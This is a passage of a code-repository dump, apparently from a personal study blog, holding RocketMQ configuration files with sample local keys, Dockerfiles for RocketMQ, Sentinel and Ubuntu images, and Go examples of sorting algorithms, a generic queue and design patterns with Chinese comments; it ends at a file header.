| # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | # 17 | brokerClusterName=DefaultCluster 18 | brokerName=broker-trace 19 | brokerId=0 20 | deleteWhen=04 21 | fileReservedTime=48 22 | brokerRole=ASYNC_MASTER 23 | flushDiskType=ASYNC_FLUSH 24 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/conf/broker.conf: -------------------------------------------------------------------------------- 1 | # Licensed to the Apache Software Foundation (ASF) under one or more 2 | # contributor license agreements. See the NOTICE file distributed with 3 | # this work for additional information regarding copyright ownership. 4 | # The ASF licenses this file to You under the Apache License, Version 2.0 5 | # (the "License"); you may not use this file except in compliance with 6 | # the License. You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | brokerClusterName = DefaultCluster 17 | brokerName = broker-a 18 | brokerId = 0 19 | deleteWhen = 04 20 | fileReservedTime = 48 21 | brokerRole = ASYNC_MASTER 22 | flushDiskType = ASYNC_FLUSH 23 | enablePropertyFilter = true 24 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/conf/tools.yml: -------------------------------------------------------------------------------- 1 | # Licensed to the Apache Software Foundation (ASF) under one or more 2 | # contributor license agreements. See the NOTICE file distributed with 3 | # this work for additional information regarding copyright ownership. 4 | # The ASF licenses this file to You under the Apache License, Version 2.0 5 | # (the "License"); you may not use this file except in compliance with 6 | # the License. You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | 17 | accessKey: rocketmq2 18 | secretKey: 12345678 19 | 20 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/commons-beanutils-1.9.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/commons-beanutils-1.9.2.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/commons-cli-1.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/commons-cli-1.2.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/commons-codec-1.9.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/commons-codec-1.9.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/commons-collections-3.2.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/commons-collections-3.2.2.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/commons-digester-1.8.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/commons-digester-1.8.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/commons-lang3-3.4.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/commons-lang3-3.4.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/commons-logging-1.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/commons-logging-1.2.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/commons-validator-1.6.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/commons-validator-1.6.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/dledger-0.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/dledger-0.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/fastjson-1.2.61.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/fastjson-1.2.61.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/guava-19.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/guava-19.0.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/javassist-3.20.0-GA.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/javassist-3.20.0-GA.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/jcommander-1.72.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/jcommander-1.72.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/jna-4.2.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/jna-4.2.2.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/logback-classic-1.0.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/logback-classic-1.0.13.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/logback-core-1.0.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/logback-core-1.0.13.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/netty-all-4.0.42.Final.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/netty-all-4.0.42.Final.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/netty-tcnative-boringssl-static-1.1.33.Fork26.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/netty-tcnative-boringssl-static-1.1.33.Fork26.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/openmessaging-api-0.3.1-alpha.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/openmessaging-api-0.3.1-alpha.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-acl-4.6.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-acl-4.6.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-broker-4.6.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-broker-4.6.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-client-4.6.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-client-4.6.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-common-4.6.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-common-4.6.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-example-4.6.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-example-4.6.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-filter-4.6.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-filter-4.6.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-logging-4.6.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-logging-4.6.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-namesrv-4.6.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-namesrv-4.6.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-openmessaging-4.6.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-openmessaging-4.6.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-remoting-4.6.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-remoting-4.6.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-srvutil-4.6.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-srvutil-4.6.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-store-4.6.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-store-4.6.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-tools-4.6.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/rocketmq-tools-4.6.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/slf4j-api-1.7.7.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/slf4j-api-1.7.7.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/lib/snakeyaml-1.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-4.6.1/lib/snakeyaml-1.19.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-console-ng-1.0.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/docker/rocketmq/rocketmq-console-ng-1.0.1.jar -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-console.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM centos:7 2 | LABEL maintainer="Silence H_VK " 3 | 4 | RUN yum install -y java-1.8.0-openjdk-devel.x86_64 && yum clean all -y 5 | WORKDIR /opt/ 6 | 7 | ADD rocketmq-console-ng-*.jar rocketmq-console-ng.jar 8 | EXPOSE 8080 9 | 10 | ENV JAVA_OPTS="" 11 | ENTRYPOINT [ "sh", "-c", "java $JAVA_OPTS -jar rocketmq-console-ng.jar" ] 12 | -------------------------------------------------------------------------------- /docker/sentinel/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | LABEL maintainer="Silence H_VK " 3 | 4 | ARG SENTINEL_VERSION=1.8.4 5 | 6 | ENV SENTINEL_HOME="/opt" 7 | 8 | RUN set -eux && \ 9 | apk add --no-cache bash perl openjdk8-jre-base tar wget && cd \opt && \ 10 | wget -O sentinel-dashboard.jar "https://github.com/alibaba/Sentinel/releases/download/${SENTINEL_VERSION}/sentinel-dashboard-${SENTINEL_VERSION}.jar" && \ 11 | apk del tar wget 12 | 13 | WORKDIR ${SENTINEL_HOME} 14 | 15 | 16 | EXPOSE 8080 17 | 18 | ENTRYPOINT ["java", "-jar", "sentinel-dashboard.jar"] -------------------------------------------------------------------------------- /docker/ubuntu/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | LABEL maintainer="hvkcoder " 3 | 4 | RUN ln -fs /usr/share/zoneinfo/UTC /etc/localtime \ 5 | && sed -i s@/archive.ubuntu.com/@/mirrors.aliyun.com/@g /etc/apt/sources.list \ 6 | && sed -i s@/security.ubuntu.com/@/mirrors.aliyun.com/@g /etc/apt/sources.list \ 7 | && apt-get clean \ 8 | && apt-get update \ 9 | && apt-get install -y --reinstall build-essential \ 10 | && apt-get install -y --no-install-recommends ssh wget tar rsync net-tools libxml2-dev libkrb5-dev libffi-dev libssl-dev python-lxml libgmp3-dev libsasl2-dev openjdk-8-jre python2.7-dev \ 11 | && rm -rf /var/lib/apt/lists/*\ 12 | && apt-get clean \ 13 | && if [ ! -e /usr/bin/python ]; then ln -s /usr/bin/python2.7 /usr/bin/python; fi 14 | 15 | CMD [ "/bin/bash" ] -------------------------------------------------------------------------------- /golang/algorithm/go.mod: -------------------------------------------------------------------------------- 1 | module hvkcoder/algorithm 2 | 3 | go 1.21.0 4 | -------------------------------------------------------------------------------- /golang/algorithm/sort/bubble_sort_test.go: -------------------------------------------------------------------------------- 1 | package sort 2 | 3 | import ( 4 | "hvkcoder/algorithm" 5 | "testing" 6 | ) 7 | 8 | // 冒泡排序 9 | func TestBubbleSort(t *testing.T) { 10 | data := algorithm.GeneratorData(10, 100) 11 | t.Log("未排序数据 => ", data) 12 | for i := range data { 13 | for j := 0; j < len(data)-1-i; j++ { 14 | if data[j] > data[j+1] { 15 | data[j], data[j+1] = data[j+1], data[j] 16 | } 17 | } 18 | } 19 | t.Log("已排序数据 => ", data) 20 | } 21 | -------------------------------------------------------------------------------- /golang/algorithm/sort/insertion_sort_test.go: -------------------------------------------------------------------------------- 1 | package sort 2 | 3 | import ( 4 | "hvkcoder/algorithm" 5 | "testing" 6 | ) 7 | 8 | // 插入排序 9 | func TestInsertionSort(t *testing.T) { 10 | data := algorithm.GeneratorData(10, 100) 11 | t.Log("未排序数据 => ", data) 12 | for i := range data { 13 | for j := i; j > 0 && data[j] < data[j-1]; j-- { 14 | data[j], data[j-1] = data[j-1], data[j] 15 | } 16 | } 17 | t.Log("已排序数据 => ", data) 18 | } 19 | -------------------------------------------------------------------------------- /golang/algorithm/sort/selection_sort_test.go: -------------------------------------------------------------------------------- 1 | package sort 2 | 3 | import ( 4 | "hvkcoder/algorithm" 5 | "testing" 6 | ) 7 | 8 | // 选择排序 9 | func TestSelectionSort(t *testing.T) { 10 | data := algorithm.GeneratorData(10, 100) 11 | t.Log("未排序数据 => ", data) 12 | for i := range data { 13 | min := i 14 | for j := i + 1; j < len(data); j++ { 15 | if data[min] > data[j] { 16 | min = j 17 | } 18 | } 19 | if i != min { 20 | data[i], data[min] = data[min], data[i] 21 | } 22 | } 23 | t.Log("已排序数据 => ", data) 24 | } 25 | -------------------------------------------------------------------------------- /golang/algorithm/utils.go: -------------------------------------------------------------------------------- 1 | package algorithm 2 | 3 | import "math/rand" 4 | 5 | // GeneratorData 生成随机数据 6 | func GeneratorData(size, maxValue int) []int { 7 | data := make([]int, size) 8 | for i := range data { 9 | data[i] = rand.Intn(maxValue) 10 | } 11 | return data 12 | } 13 | -------------------------------------------------------------------------------- /golang/basic/datastruct/queue/queue.go: -------------------------------------------------------------------------------- 1 | package queue 2 | 3 | type Queue[T any] struct { 4 | data []T 5 | front int // 队列顶部位置 6 | rear int // 队列底部位置 7 | } 8 | 9 | // Push 入队列方法 10 | func (q *Queue[T]) Push(e T) { 11 | if (q.rear+1)%len(q.data) == q.front { 12 | panic("该队列已满,无法压入数据") 13 | } 14 | // 将输入压入队列 15 | q.data[q.rear] = e 16 | // 更改队列底部位置 17 | q.rear = (q.rear + 1) % len(q.data) 18 | } 19 | 20 | // Pop 出队列方法 21 | func (q *Queue[T]) Pop() (v T) { 22 | if q.front == q.rear { 23 | panic("该队列是一个空队列") 24 | } 25 | v = q.data[q.front] 26 | // 更改队列顶部位置 27 | q.front = (q.front + 1) % len(q.data) 28 | return v 29 | } 30 | 31 | func NewQueue[T any](capacity int) *Queue[T] { 32 | return &Queue[T]{ 33 | data: make([]T, capacity), 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/decorator/decorator.go: -------------------------------------------------------------------------------- 1 | /* 2 | 装饰模式,一种动态地往一个类中添加新的行为的设计模式,结构型模式。相比生成子类更为灵活,可以给某个对象而不是整个类添加功能 3 | */ 4 | package decorator 5 | 6 | import ( 7 | "fmt" 8 | "github.com/SilenceHVK/blog/golang/basic/desgin-patterns/modules" 9 | ) 10 | 11 | // 定义抽象的装饰器 12 | type ShapeDecorator interface { 13 | modules.Shape 14 | setBorder() 15 | } 16 | 17 | // 具体的装饰器实现 18 | type ReadShapeDecorator struct { 19 | shape modules.Shape 20 | } 21 | 22 | func (r *ReadShapeDecorator) Draw() { 23 | r.shape.Draw() 24 | r.setBorder() 25 | } 26 | 27 | func (r *ReadShapeDecorator) setBorder() { 28 | fmt.Println("设置 Border 为红色") 29 | } 30 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/decorator/decorator_test.go: -------------------------------------------------------------------------------- 1 | package decorator 2 | 3 | import ( 4 | "github.com/SilenceHVK/blog/golang/basic/desgin-patterns/modules" 5 | "testing" 6 | ) 7 | 8 | func TestDecorator(t *testing.T) { 9 | circle := &modules.Circle{} 10 | shapeDecorator := &ReadShapeDecorator{} 11 | shapeDecorator.shape = circle 12 | shapeDecorator.Draw() 13 | } 14 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/factory-method/factory_method.go: -------------------------------------------------------------------------------- 1 | /* 2 | 工厂方法模式又称为工厂模式,它属于类创建型模式。在工厂方法模式中,工厂父类负责定义创建产品对象的公共接口,而工厂子类负责生成具体的产品对象 3 | */ 4 | package factory_method 5 | 6 | import "github.com/SilenceHVK/blog/golang/basic/desgin-patterns/modules" 7 | 8 | // 定义形状常量 9 | const ( 10 | CIRCLE = "CIRCLE" 11 | RECTANGLE = "RECTANGLE" 12 | TRIANGLE = "TRIANGLE" 13 | ) 14 | 15 | // 定义形状工厂 16 | type ShapeFactory struct { 17 | } 18 | 19 | // 根据不同形状类型返回对相应的形状实例 20 | func (factory ShapeFactory) Create(shapeName string) modules.Shape { 21 | var shape modules.Shape 22 | switch shapeName { 23 | case CIRCLE: 24 | shape = &modules.Circle{} 25 | case RECTANGLE: 26 | shape = &modules.Rectangle{} 27 | case TRIANGLE: 28 | shape = &modules.Triangle{} 29 | } 30 | return shape 31 | } 32 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/factory-method/factory_method_test.go: -------------------------------------------------------------------------------- 1 | package factory_method 2 | 3 | import ( 4 | "github.com/SilenceHVK/blog/golang/basic/desgin-patterns/modules" 5 | "testing" 6 | ) 7 | 8 | func TestFactoryMethod(t *testing.T) { 9 | var shape modules.Shape 10 | factory := ShapeFactory{} 11 | shape = factory.Create(CIRCLE) 12 | shape.Draw() 13 | 14 | shape = factory.Create(RECTANGLE) 15 | shape.Draw() 16 | 17 | shape = factory.Create(TRIANGLE) 18 | shape.Draw() 19 | } 20 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/inversion-of-control/calculator.go: -------------------------------------------------------------------------------- 1 | package inversion_of_control 2 | 3 | type Calculator struct { 4 | Result int 5 | undo Undo 6 | } 7 | 8 | func NewCalculator() *Calculator { 9 | return &Calculator{} 10 | } 11 | 12 | func (calc *Calculator) Add(num int) *Calculator { 13 | calc.Result += num 14 | calc.undo.Add(func() { 15 | calc.Sub(num) 16 | }) 17 | return calc 18 | } 19 | 20 | func (calc *Calculator) Sub(num int) *Calculator { 21 | calc.Result -= num 22 | calc.undo.Add(func() { 23 | calc.Add(num) 24 | }) 25 | return calc 26 | } 27 | 28 | func (calc *Calculator) Undo() (*Calculator, error) { 29 | return calc, calc.undo.Undo() 30 | } 31 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/inversion-of-control/ioc_test.go: -------------------------------------------------------------------------------- 1 | package inversion_of_control 2 | 3 | import "testing" 4 | 5 | func TestIoC(t *testing.T) { 6 | calculator := NewCalculator() 7 | 8 | result := calculator.Add(5).Sub(10).Add(30).Result 9 | t.Logf("计算结果: %d\n", result) 10 | 11 | if result, err := calculator.Undo(); err == nil { 12 | t.Logf("计算结果: %d\n", result.Result) 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/inversion-of-control/undo.go: -------------------------------------------------------------------------------- 1 | package inversion_of_control 2 | 3 | import "errors" 4 | 5 | type Undo []func() 6 | 7 | func (undo *Undo) Add(function func()) { 8 | *undo = append(*undo, function) 9 | } 10 | 11 | func (undo *Undo) Undo() error { 12 | functions := *undo 13 | if len(functions) == 0 { 14 | return errors.New("No functions to undo") 15 | } 16 | 17 | index := len(functions) - 1 18 | if function := functions[index]; function != nil { 19 | function() 20 | functions[index] = nil 21 | } 22 | *undo = functions[:index] 23 | return nil 24 | } 25 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/map-reduce/map_reduce.go: -------------------------------------------------------------------------------- 1 | package map_reduce 2 | 3 | func Map[T any, R any](data []T, fn func(t T) R) []R { 4 | var newArray []R 5 | for _, v := range data { 6 | newArray = append(newArray, fn(v)) 7 | } 8 | return newArray 9 | } 10 | 11 | func Reduce[T any](data []T, fn func(t T) int) int { 12 | var sum int 13 | for _, v := range data { 14 | sum += fn(v) 15 | } 16 | return sum 17 | } 18 | 19 | func Filter[T any](data []T, fn func(t T) bool) []T { 20 | var newArray []T 21 | for _, v := range data { 22 | if fn(v) { 23 | newArray = append(newArray, v) 24 | } 25 | } 26 | return newArray 27 | } 28 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/map-reduce/map_reduce_test.go: -------------------------------------------------------------------------------- 1 | package map_reduce 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | type Employee struct { 8 | Name string 9 | Age int 10 | Vacation int 11 | Salary int 12 | } 13 | 14 | var list []Employee 15 | 16 | func init() { 17 | list = []Employee{ 18 | {"张三", 40, 0, 8000}, 19 | {"李四", 34, 10, 5000}, 20 | {"王五", 20, 5, 9000}, 21 | {"赵六", 50, 2, 7500}, 22 | {"孙七", 25, 8, 4000}, 23 | } 24 | } 25 | 26 | func TestMap(t *testing.T) { 27 | names := Map(list, func(employee Employee) string { 28 | return employee.Name 29 | }) 30 | t.Log(names) 31 | 32 | ages := Map(list, func(employee Employee) int { 33 | return employee.Age 34 | }) 35 | t.Log(ages) 36 | } 37 | 38 | func TestReduce(t *testing.T) { 39 | salaryTotal := Reduce(list, func(employee Employee) int { 40 | return employee.Salary 41 | }) 42 | t.Logf("%v", salaryTotal) 43 | } 44 | 45 | func TestFilter(t *testing.T) { 46 | employees := Filter(list, func(t Employee) bool { 47 | return t.Vacation > 0 48 | }) 49 | t.Log(employees) 50 | } 51 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/modules/shape.go: -------------------------------------------------------------------------------- 1 | package modules 2 | 3 | type Shape interface { 4 | Draw() 5 | } 6 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/modules/shape_circle.go: -------------------------------------------------------------------------------- 1 | package modules 2 | 3 | import "fmt" 4 | 5 | type Circle struct { 6 | } 7 | 8 | func (c Circle) Draw() { 9 | fmt.Println("圆形") 10 | } 11 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/modules/shape_rectangle.go: -------------------------------------------------------------------------------- 1 | package modules 2 | 3 | import "fmt" 4 | 5 | type Rectangle struct { 6 | } 7 | 8 | func (r Rectangle) Draw() { 9 | fmt.Println("长方形") 10 | } 11 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/modules/shape_triangle.go: -------------------------------------------------------------------------------- 1 | package modules 2 | 3 | import "fmt" 4 | 5 | type Triangle struct { 6 | } 7 | 8 | func (t Triangle) Draw() { 9 | fmt.Println("三角形") 10 | } 11 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/observer/goods.go: -------------------------------------------------------------------------------- 1 | package observer 2 | 3 | // Goods 定义商品类并实现订阅者接口 4 | type Goods struct { 5 | observers []observer 6 | isInStock bool 7 | } 8 | 9 | func newGoods() *Goods { 10 | return &Goods{ 11 | isInStock: false, 12 | } 13 | } 14 | 15 | func (g *Goods) Subscribe(o observer) { 16 | g.observers = append(g.observers, o) 17 | } 18 | 19 | func (g *Goods) NotifyAll() { 20 | if g.isInStock { 21 | for _, o := range g.observers { 22 | o.Action() 23 | } 24 | } 25 | } 26 | 27 | func (g *Goods) SetInStock(inStock bool) { 28 | g.isInStock = inStock 29 | } 30 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/observer/observer.go: -------------------------------------------------------------------------------- 1 | // 观察者模式 属于行为模式,定义对象间的一对多依赖关系,当订阅对象状态发生改变时,其相关观察对象都会得到通知并更新 2 | package observer 3 | 4 | // observer 观察者接口 5 | type observer interface { 6 | Action() 7 | } 8 | 9 | // subscriber 订阅者接口 10 | type subscriber interface { 11 | Subscribe(observer) 12 | NotifyAll() 13 | } 14 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/observer/observer_test.go: -------------------------------------------------------------------------------- 1 | package observer 2 | 3 | import "testing" 4 | 5 | func TestObserver(t *testing.T) { 6 | iPhone13 := newGoods() 7 | iPhone13.Subscribe(&User{ 8 | name: "张三", 9 | }) 10 | iPhone13.Subscribe(&User{ 11 | name: "王五", 12 | }) 13 | 14 | iPhone13.SetInStock(true) 15 | iPhone13.NotifyAll() 16 | } 17 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/observer/user.go: -------------------------------------------------------------------------------- 1 | package observer 2 | 3 | import "fmt" 4 | 5 | // User 定义用户类并实现观察者接口 6 | type User struct { 7 | name string 8 | } 9 | 10 | func (u *User) Action() { 11 | fmt.Println(u.name, " 正在付款") 12 | } 13 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/oop/chinese.go: -------------------------------------------------------------------------------- 1 | package oop 2 | 3 | import "fmt" 4 | 5 | type Chinese struct { 6 | // TODO: 通过嵌入的方式,实现继承 7 | people *People 8 | skin string 9 | } 10 | 11 | func (c *Chinese) getSkin() string { 12 | return c.skin 13 | } 14 | 15 | /* TODO: 通过定义接口中存在的方法,隐式的实现接口 */ 16 | func (c *Chinese) Speak() { 17 | fmt.Println("中国人:" + c.people.name + " 说中国话") 18 | } 19 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/oop/human.go: -------------------------------------------------------------------------------- 1 | package oop 2 | 3 | /* TODO: 通过接口的方式实现多态 */ 4 | type Human interface { 5 | Speak() 6 | } 7 | -------------------------------------------------------------------------------- /golang/basic/desgin-patterns/oop/people.go: -------------------------------------------------------------------------------- 1 | package oop 2 | 3 | import "fmt" 4 | 5 | /* TODO: 声明结构体 实现封装 */ 6 | type People struct { 7 | name string 8 | } 9 | 10 | func (people *People) walk() { 11 | fmt.Println(people.name + "在走路") 12 | } 13 | -------------------------------------------------------------------------------- /golang/basic/error-handling/panic_recover_test.go: 